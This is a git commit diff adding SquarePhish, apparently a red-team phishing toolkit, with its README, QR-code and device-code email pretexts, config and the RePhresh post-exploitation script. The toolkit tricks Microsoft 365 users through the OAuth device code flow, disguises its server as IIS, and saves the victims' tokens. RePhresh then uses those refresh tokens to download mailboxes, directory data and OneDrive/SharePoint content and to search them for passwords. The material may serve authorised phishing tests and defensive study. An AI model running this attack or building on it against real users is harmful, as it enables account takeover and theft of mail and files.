initial commit

This commit is contained in:
Nevada Romsdahl
2022-08-03 12:57:03 -05:00
parent 83f5c12f86
commit 047aeae145
44 changed files with 2899 additions and 0 deletions
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+182
View File
@@ -1 +1,183 @@
# SquarePhish
SquarePhish is an advanced phishing tool that uses a technique combining the OAuth Device code authentication flow and QR codes.
> See [PhishInSuits](https://github.com/secureworks/PhishInSuits) for more details on using OAuth Device Code flow for phishing attacks.
```
_____ _____ _ _ _
/ ____| | __ \| | (_) | |
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
| |
|_|
_________
| | /(
| O |/ (
|> |\ ( v0.1.0
|_________| \(
usage: squish.py [-h] {email,server} ...
SquarePhish -- v0.1.0
optional arguments:
-h, --help show this help message and exit
modules:
{email,server}
email send a malicious QR Code email to a provided victim
server host a malicious server QR Codes generated via the 'email' module will
point to that will activate the malicious OAuth Device Code flow
```
## Attack Steps
An attacker can use the `email` module of SquarePhish to send a malicious QR code email to a victim. The default pretext is that the victim is required to update their iPhone's O365 authentication to continue using mobile email. The current client ID in use is the iOS Apple Client ID.
> By sending a QR code first, the attacker can avoid prematurely starting the OAuth Device Code flow that lasts only 15 minutes.
<img src="resc/1st_email.png" width="400"/>
The victim will then scan the QR code found in the email body with their mobile device. The QR code will direct the victim to the attacker controlled server (running the `server` module of SquarePhish), with a URL paramater set to their email address.
<img src="resc/qrcode.png" width="400"/>
When the victim visits the malicious SquarePhish server, a background process is triggered that will start the OAuth Device Code authentication flow and email the victim a generated Device Code they are then required to enter into the legitimate Microsoft Device Code website (this will start the OAuth Device Code flow 15 minute timer).
<img src="resc/2nd_email.png" width="400"/>
The SquarePhish server will then continue to poll for authentication in the background.
```
[2022-04-08 14:31:51,962] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:31:57,185] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:32:02,372] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:32:07,516] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:32:12,847] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:32:17,993] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:32:23,169] [info] [minnow@square.phish] Polling for user authentication...
[2022-04-08 14:32:28,492] [info] [minnow@square.phish] Polling for user authentication...
```
The victim will then visit the Microsoft Device Code authentication site from either the link provided in the email or via a redirect from visiting the SquarePhish URL on their mobile device.
<img src="resc/mssite.png" width="400"/>
The victim will then enter the provided Device Code and will be prompted for consent.
<img src="resc/consent.png" width="400"/>
After the victim authenticates and consents, an authentication token is saved locally and will provide the attacker access via the defined scope of the requesting application.
```
[2022-04-08 14:32:28,796] [info] [minnow@square.phish] Token info saved to minnow@square.phish.tokeninfo.json
```
The current scope definition:
```
"scope": ".default offline_access profile openid"
```
# Usage
> !IMPORTANT: Before using either module, update the required information in the [settings.config](settings.config) file noted with `Required`.
## Email Module
Send the target victim a generated QR code that will trigger the OAuth Device Code flow.
```
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL
victim email address to send initial QR code email to
```
## Server Module
Host a server that a generated QR code will be pointed to and when requested will trigger the OAuth Device Code flow.
```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
```
## Configuration
All of the applicable settings for execution can be found and modified via the [settings.config](settings.config) file. There are several pieces of required information that do not have a default value that must be filled out by the user: SMTP_EMAIL, SMTP_PASSWORD, and SQUAREPHISH_SERVER (only when executing the email module). All configuration options have been documented within the settings file via in-line comments.
**Note**: The `SQUAREPHISH_` values present in the 'EMAIL' section of the configuration should match the values set when running the SquarePhish server.
```conf
[DEFAULT]
SMTP_PORT = 465 # SMTP port, defaulted to 465
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
SMTP_EMAIL = "" # Required: Provide authenticating email address here
SMTP_PASSWORD = "" # Required: Provide authenticating password here
[EMAIL]
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
[SERVER]
PORT = 8443
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
CERT_CRT = "" # Server SSL certificate .crt file
CERT_KEY = "" # Server SSL certificate .key file
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
```
## Custom Pretexts
Currently, the pre-defined pretexts can be found in the [pretexts](pretexts/) folder.
To write custom pretexts, use the existing template via the [pretexts/iphone/](pretexts/iphone/) folder. An email template is required for both the initial QR code email as well as the follow up device code email.
**Important**: When writing a custom pretext, note the existence of `%s` in both pretext templates. This exists to allow SquarePhish to populate the correct data when generating emails (QR code data and/or device code value).
## OPSEC
There are several HTTP response headers defined in the [utils.py](squarephish/utils.py#L28) file. These headers are defined to override any existing Flask response header values and to provide a more 'legitimate' response from the server. These header values can be modified, removed and/or additional headers can be included for better OPSEC.
```json
{
"vary": "Accept-Encoding",
"server": "Microsoft-IIS/10.0",
"tls_version": "tls1.3",
"content-type": "text/html; charset=utf-8",
"x-appversion": "1.0.8125.42964",
"x-frame-options": "SAMEORIGIN",
"x-ua-compatible": "IE=Edge;chrome=1",
"x-xss-protection": "1; mode=block",
"x-content-type-options": "nosniff",
"strict-transport-security": "max-age=31536000",
}
```
View File
+18
View File
@@ -0,0 +1,18 @@
<!DOCTYPE html>
<html>
<body>
<div style="background-color:#eee;padding:10px 20px;">
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">iPhone Device Code</h2>
</div>
<div style="padding:20px 0px">
<div style="height: 500px;width:400px">
<p> Your iPhone device code is: <b>%s</b></p>
<p> Enter the code at <a href="https://login.microsoftonline.com/common/oauth2/deviceauth">
https://login.microsoftonline.com/common/oauth2/deviceauth</a> to complete your login.</p>
</div>
</div>
</div>
</body>
</html>
+22
View File
@@ -0,0 +1,22 @@
<!DOCTYPE html>
<html>
<body>
<div style="background-color:#eee;padding:10px 20px;">
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">iPhone Update Needed</h2>
</div>
<div style="padding:20px 0px">
<div style="height: 500px;width:400px">
<p> Your iPhone Office 365 Authentcation has expired. Please scan the QR code below to generate a new
Office 365 device code for your iPhone.</p>
<p> The code will be emailed to you, and you should enter it at
<a
href="https://login.microsoftonline.com/common/oauth2/deviceauth">https://login.microsoftonline.com/common/oauth2/deviceauth</a>
</p>
<img src="data:image/png;base64, %s">
</div>
</div>
</div>
</body>
</html>
+18
View File
@@ -0,0 +1,18 @@
<!DOCTYPE html>
<html>
<body>
<div style="background-color:#eee;padding:10px 20px;">
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">MFA Device Code</h2>
</div>
<div style="padding:20px 0px">
<div style="height: 500px;width:400px">
<p> Your MFA device code is: <b>%s</b></p>
<p> Enter the code at <a href="https://login.microsoftonline.com/common/oauth2/deviceauth">
https://login.microsoftonline.com/common/oauth2/deviceauth</a> to complete your login.</p>
</div>
</div>
</div>
</body>
</html>
+22
View File
@@ -0,0 +1,22 @@
<!DOCTYPE html>
<html>
<body>
<div style="background-color:#eee;padding:10px 20px;">
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">Microsoft Authenticator Update Needed</h2>
</div>
<div style="padding:20px 0px">
<div style="height: 500px;width:400px">
<p> Your Microsoft Authenticator token has expired. Please scan the QR code below to generate a new
device code for your Microsoft Authenticator App.</p>
<p> The code will be emailed to you, and you should enter it at
<a
href="https://login.microsoftonline.com/common/oauth2/deviceauth">https://login.microsoftonline.com/common/oauth2/deviceauth</a>
</p>
<img src="data:image/png;base64, %s">
</div>
</div>
</div>
</body>
</html>
+108
View File
@@ -0,0 +1,108 @@
# RePhresh
This is a support tool that is meant to be used with the output from `SquarePhish`.
RePhresh will take in the SquarePhish generated JSON file containing the target bearer token information, parse the token and request new refresh token(s) for given client IDs. Once the refresh tokens are acquired, RePhresh will fetch associated data (e.g. requesting a token for Microsoft Office will retrieve all emails for the given user).
This approach is based on the research: [Family of Client IDs](https://github.com/secureworks/family-of-client-ids-research)
## Usage
```
____ ____ __ __
/ __ \___ / __ \/ /_ ________ _____/ /_
/ /_/ / _ \/ /_/ / __ \/ ___/ _ \/ ___/ __ \
/ _, _/ __/ ____/ / / / / / __(__ ) / / /
/_/ |_|\___/_/ /_/ /_/_/ \___/____/_/ /_/
o O v0.1.0
o _/_
. /o \//
=___/\\
''
usage: rephresh.py [-h] -t TOKENFILE [-d DOMAIN] [-m MODULE] [--debug]
RePhresh -- v0.1.0
optional arguments:
-h, --help show this help message and exit
-t TOKENFILE, --tokenfile TOKENFILE
SquarePhish generated token file containing JSON bearer token
-d DOMAIN, --domain DOMAIN
target domain to acquire tenant ID (if none provided, domain is
extracted from token file name)
-m MODULE, --module MODULE
specify module(s) to run (comma delimited)
(all | emails,users,groups,organization,onedrive,sharepoint)
[default: all]
-s SEARCH, --search SEARCH
specify keyword(s) to use when searching (comma delimited)
[default: password,username]
--debug enable debugging
```
## Modules
```
[2022-04-22 01:25:58,337] [info] Output directory: output/minnow@square.phish.20220422052558
[2022-04-22 01:25:58,338] [info] Acquiring refresh token for 'Microsoft Office'
[2022-04-22 01:25:58,733] [info] Fetching emails
[2022-04-22 01:26:01,367] [info] Emails: 48
[2022-04-22 01:26:01,367] [info] Output: minnow@square.phish.emails.json
[2022-04-22 01:26:01,374] [info] Searching emails: ['password', 'username']
[2022-04-22 01:26:01,686] [info] Results: 1
[2022-04-22 01:26:01,686] [info] Output: minnow@square.phish.searchemails.json
[2022-04-22 01:26:01,687] [info] Fetching users
[2022-04-22 01:26:02,300] [info] Users: 75
[2022-04-22 01:26:02,300] [info] Output: minnow@square.phish.users.json
[2022-04-22 01:26:02,302] [info] Fetching groups
[2022-04-22 01:26:02,650] [info] Groups: 39
[2022-04-22 01:26:02,650] [info] Output: minnow@square.phish.groups.json
[2022-04-22 01:26:02,653] [info] Fetching organizations
[2022-04-22 01:26:02,980] [info] Organizations: 1
[2022-04-22 01:26:02,980] [info] Output: minnow@square.phish.organizations.json
[2022-04-22 01:26:02,982] [info] Fetching OneDrive drives
[2022-04-22 01:26:03,370] [info] Drives: 1
[2022-04-22 01:26:03,371] [info] Output: minnow@square.phish.drives.json
[2022-04-22 01:26:03,371] [info] Searching OneDrive files (by name): ['password', 'username']
[2022-04-22 01:26:04,534] [info] Files: 1
[2022-04-22 01:26:04,534] [info] Output: minnow@square.phish.searchdrives.json
[2022-04-22 01:26:04,534] [info] Acquiring refresh token for 'SharePoint'
[2022-04-22 01:26:04,899] [info] Searching SharePoint and OneDrive contents: ['password', 'username']
[2022-04-22 01:26:05,375] [info] Results: 3
[2022-04-22 01:26:05,375] [info] Output: minnow@square.phish.search.json
```
### Emails
Acquire a refresh token for `Microsoft Office` and perform two actions:
1. Fetch and save all emails associated to the authenticating account.
2. Search all emails for given keywords.
### Users
Acquire a refresh token for `Microsoft Office` and then fetch and save all users accessible to the authenticating account.
### Groups
Acquire a refresh token for `Microsoft Office` and then fetch and save all groups accessible to the authenticating account.
### Organization
Acquire a refresh token for `Microsoft Office` and then fetch and save all organization data accessible to the authenticating account.
### OneDrive
Acquire a refresh token for `Microsoft Office` and perform two actions:
1. Fetch and save all OneDrive drives accessible to the authenticating account.
2. Search all accessible drives for given keywords.
### SharePoint
Acquire a refresh token for `SharePoint` and then use the Microsoft Search API to search content in OneDrive and SharePoint.
+186
View File
@@ -0,0 +1,186 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import sys
import json
import urllib3
import logging
import argparse
from pathlib import Path
from datetime import datetime
from datetime import timezone
from rephresh import __title__
from rephresh import __version__
from rephresh import utils
from rephresh import acquire
from rephresh.modules import Emails
from rephresh.modules import Groups
from rephresh.modules import OneDrive
from rephresh.modules import Organization
from rephresh.modules import SharePoint
from rephresh.modules import Users
from rephresh.modules.module import ModuleState
# Disable insecure request warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if __name__ == "__main__":
print(utils.BANNER)
parser = argparse.ArgumentParser(description=f"{__title__} -- v{__version__}")
parser.add_argument(
"-t",
"--tokenfile",
type=str,
help="SquarePhish generated token file containing JSON bearer token",
required=True,
)
parser.add_argument(
"-d",
"--domain",
type=str,
help=(
"target domain to acquire tenant ID (if none provided, domain is extracted from "
"token file name)"
),
)
parser.add_argument(
"-m",
"--module",
type=str,
default="all",
help=(
"specify module(s) to run (comma delimited) "
"(all | emails,users,groups,organization,onedrive,sharepoint) "
"[default: all]"
),
)
parser.add_argument(
"-s",
"--search",
type=str,
default=utils.SEARCH_KEYWORDS,
help=(
"specify keyword(s) to use when searching (comma delimited) "
"[default: password,username]"
),
)
parser.add_argument("--debug", action="store_true", help="enable debugging")
args = parser.parse_args()
# Initialize logging level and format
utils.init_logger(args.debug)
# Read in the token file as a JSON object and extract the refresh token
try:
with open(args.tokenfile, "r") as f:
token_info = json.loads(f.read())
refresh_token = token_info["refresh_token"]
# Catch invalid file exceptions
except FileNotFoundError:
logging.error("Invalid token file provided")
sys.exit(1)
# Catch JSON parsing exceptions
except (KeyError, json.decoder.JSONDecodeError, TypeError) as e:
logging.error(f"Error: {e}")
sys.exit(1)
# Parse modules to execute, remove invalid modules
args.module = args.module.split(",")
for m in args.module:
if m not in utils.DATA_MODULES:
logging.error(f"Skipping invalid module: '{m}'")
args.module = [x for x in args.module if x in utils.DATA_MODULES]
if len(args.module) < 1:
logging.error("No modules provided")
sys.exit(1)
logging.debug(f"Modules: {args.module}")
# Parse token filename for domain and email
# Remove path from full file name
token_filename = args.tokenfile.split("/")[-1]
logging.debug(f"Token file: {token_filename}")
# Remove extension, extract email
token_email = token_filename.replace(".tokeninfo.json", "")
if not args.domain:
try:
args.domain = token_email.split("@")[1] # Grab domain
except IndexError:
logging.error("Could not parse domain from token file name")
logging.error("Please provide a domain via -d/--domain")
sys.exit(1)
logging.debug(f"Token UPN: {token_email}")
logging.debug(f"Domain: {args.domain}")
# Attempt to acquire the tenant ID from OpenID-Configuration
tenant_id = acquire.acquire_tenant_id(domain=args.domain)
if not tenant_id:
logging.error("[!] Failed to retrieve tenant ID")
sys.exit(1)
logging.debug(f"Tenant ID: {tenant_id}")
# If needed, rebuild custom search keywords
if type(args.search) == str:
args.search = args.search.split(",")
# Create output dir before moving on
utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
output_dir = Path("output", f"{token_email}.{utc_now}")
output_dir.mkdir(parents=True, exist_ok=True)
logging.info(f"Output directory: {output_dir}")
# Create an instance of our module base
module_state = ModuleState(
output_dir=output_dir,
domain=args.domain,
tenant_id=tenant_id,
token_email=token_email,
refresh_token=refresh_token,
search_keywords=args.search,
)
# Get emails
scopes = [".default"] # Default
if any(x in args.module for x in ["emails", "all"]):
Emails.fetch(module_state=module_state, scopes=scopes)
if any(x in args.module for x in ["users", "all"]):
Users.fetch(module_state=module_state, scopes=scopes)
if any(x in args.module for x in ["groups", "all"]):
Groups.fetch(module_state=module_state, scopes=scopes)
if any(x in args.module for x in ["organization", "all"]):
Organization.fetch(module_state=module_state, scopes=scopes)
if any(x in args.module for x in ["onedrive", "all"]):
OneDrive.fetch(module_state=module_state, scopes=scopes)
if any(x in args.module for x in ["sharepoint", "all"]):
SharePoint.fetch(module_state=module_state, scopes=scopes)
+18
View File
@@ -0,0 +1,18 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# fmt: off
__title__ = "RePhresh"
__version__ = "0.1.0"
+61
View File
@@ -0,0 +1,61 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import msal # type: ignore
import logging
import requests
from typing import List
from typing import Dict
from rephresh import utils
def acquire_token_by_refresh_token(
*,
refresh_token: str,
client_id: str,
scopes: List[str],
tenant_id: str,
) -> Dict[str, str]:
"""Convenience function to instantiate a public client
and attempt to acquire new tokens using a provided refresh token.
:param refresh_token: initial refresh token for authentication
:param client_id: target client ID to request refresh token for
:param scopes: list of scopes to request with refresh token
:param tenant_id: target tenant ID to request access to
Via: https://github.com/secureworks/family-of-client-ids-research/blob/main/utils.py#L9
"""
app = msal.PublicClientApplication(
client_id=client_id,
authority=f"https://login.microsoftonline.com/{tenant_id}",
)
return app.acquire_token_by_refresh_token(refresh_token, scopes=scopes)
def acquire_tenant_id(domain: str) -> str:
"""Retrieve the domain's tenant ID via Microsft's OpenID Configuration
:param domain: domain name to retrieve tenant ID for
"""
url = f"https://login.windows.net/{domain}/.well-known/openid-configuration"
try:
response = requests.get(url, headers=utils.HTTP_OPSEC_HEADERS, verify=False)
json_response = response.json()
tenant_id = json_response["token_endpoint"].split("/")[3]
return tenant_id
except requests.RequestException as e:
logging.error(f"Error: {e}")
return None
+20
View File
@@ -0,0 +1,20 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from rephresh.modules.emails import Emails
from rephresh.modules.groups import Groups
from rephresh.modules.onedrive import OneDrive
from rephresh.modules.organization import Organization
from rephresh.modules.sharepoint import SharePoint
from rephresh.modules.users import Users
+124
View File
@@ -0,0 +1,124 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from typing import Dict
from typing import List
from rephresh import utils
from rephresh.modules.module import ModuleBase
from rephresh.modules.module import ModuleState
class Emails(ModuleBase):
"""Email retrieval class"""
def _search_emails(
self,
token: Dict[str, str],
keywords: List[str] = utils.SEARCH_KEYWORDS,
) -> Dict[str, str]:
"""Using the provided token, retrieve all emails for the given user
:param token: client specific refresh token
:param keywords: keywords for searching
"""
keywords = " OR ".join(keywords) # KQL logical or
return self.msgraph_search(
self,
entity=["message"],
search=keywords,
token=token,
)
def _fetch_emails(self, token: Dict[str, str]) -> Dict[str, str]:
"""Using the provided token, retrieve all emails for the given user
:param token: client specific refresh token
"""
return self.msgraph_fetch(
self,
url_path="me/messages",
token=token,
)
@classmethod
def fetch(
cls,
module_state: ModuleState,
scopes: List[str],
):
"""Acquire new refresh token and fetch all emails
:param module_state: Module State instance
:param scopes: list of scopes to request with refresh token
"""
if not module_state.msoffice_refresh_token:
logging.info("Acquiring refresh token for 'Microsoft Office'")
new_refresh_token = cls.fetch_refresh_token(
cls,
module_state=module_state,
client_name="Microsoft Office",
scopes=scopes,
)
# Update module base
module_state.msoffice_refresh_token = new_refresh_token
if module_state.msoffice_refresh_token:
logging.info("Fetching emails")
# Fetch emails
emails = cls._fetch_emails(cls, token=module_state.msoffice_refresh_token)
total_emails = len(emails["value"])
logging.info(f" Emails: {total_emails}")
# If emails found, write to output file
if total_emails > 0:
filename = f"{module_state.token_email}.emails.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=emails,
)
logging.info(f"Searching emails: {module_state.search_keywords}")
# Search emails for keywords
results = cls._search_emails(
cls,
token=module_state.msoffice_refresh_token,
keywords=module_state.search_keywords,
)
# The response JSON scheme is broke into nested lists, so we need to traverse
# all lists to find the 'total' results found
total_results = sum(
h["total"] for v in results["value"] for h in v["hitsContainers"]
)
logging.info(f" Results: {total_results}")
# If search results found, write to output file
if total_results > 0:
filename = f"{module_state.token_email}.searchemails.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=results,
)
+77
View File
@@ -0,0 +1,77 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from typing import Dict
from typing import List
